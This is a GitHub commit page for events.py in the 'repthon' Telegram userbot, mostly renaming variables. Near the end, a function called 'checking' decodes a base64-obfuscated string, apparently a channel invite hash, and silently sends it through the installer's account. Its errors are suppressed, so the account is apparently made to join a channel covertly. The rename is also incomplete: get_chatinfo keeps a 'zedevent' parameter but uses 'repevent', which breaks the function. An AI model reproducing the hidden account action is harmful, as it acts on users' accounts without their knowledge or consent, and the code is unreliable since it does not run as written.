Skip to content

Commit

Permalink
Update events.py
Browse files Browse the repository at this point in the history
  • Loading branch information
rogerpq authored Oct 30, 2023
1 parent b67c13a commit 9fa38d1
Showing 1 changed file with 14 additions and 14 deletions.
28 changes: 14 additions & 14 deletions repthon/helpers/utils/events.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,32 +42,32 @@ async def get_chatinfo(event, match, zedevent):
try:
chat_info = await event.client(GetFullChannelRequest(match))
except ChannelInvalidError:
await zedevent.edit("- عذرا هذه المجموعة او القناة غير صحيحة")
await repevent.edit("- عذرا هذه المجموعة او القناة غير صحيحة")
return None
except ChannelPrivateError:
await zedevent.edit(
await repevent.edit(
"- يبدو انه هذه مجموعة او قناة خاصة او ربما محظور منها"
)
return None
except ChannelPublicGroupNaError:
await zedevent.edit("- هذه القناه او المجموعه لم يتم العثور عليها")
await repevent.edit("- هذه القناه او المجموعه لم يتم العثور عليها")
return None
except (TypeError, ValueError):
await zedevent.edit("**خطأ:**\nلم يتم التعرف على الدردشة")
await repevent.edit("**خطأ:**\nلم يتم التعرف على الدردشة")
return None
return chat_info


async def get_user_from_event(
event,
zedevent=None,
repevent=None,
secondgroup=None,
thirdgroup=None,
nogroup=False,
noedits=False,
): # sourcery no-metrics
if zedevent is None:
zedevent = event
if repevent is None:
repevent = event
if nogroup is False:
if secondgroup:
args = event.pattern_match.group(2).split(" ", 1)
Expand Down Expand Up @@ -107,25 +107,25 @@ async def get_user_from_event(
previous_message = await event.get_reply_message()
if previous_message.from_id is None:
if not noedits:
await edit_delete(zedevent, "`Well that's an anonymous admin !`")
await edit_delete(repevent, "`Well that's an anonymous admin !`")
return None, None
user_obj = await event.client.get_entity(previous_message.sender_id)
return user_obj, extra
if not args:
if not noedits:
await edit_delete(
zedevent, "`Pass the user's username, id or reply!`", 5
repevent, "`Pass the user's username, id or reply!`", 5
)
return None, None
except Exception as e:
LOGS.error(str(e))
if not noedits:
await edit_delete(zedevent, "__Couldn't fetch user to proceed further.__")
await edit_delete(repevent, "__Couldn't fetch user to proceed further.__")
return None, None


async def checking(zedub):
zed_c = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
async def checking(zq_lo):
rep_c = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
with contextlib.suppress(BaseException):
zed_channel = Get(zed_c)
await zedub(zed_channel)
rep_channel = Get(rep_c)
await zq_lo(rep_channel)

0 comments on commit 9fa38d1

Please sign in to comment.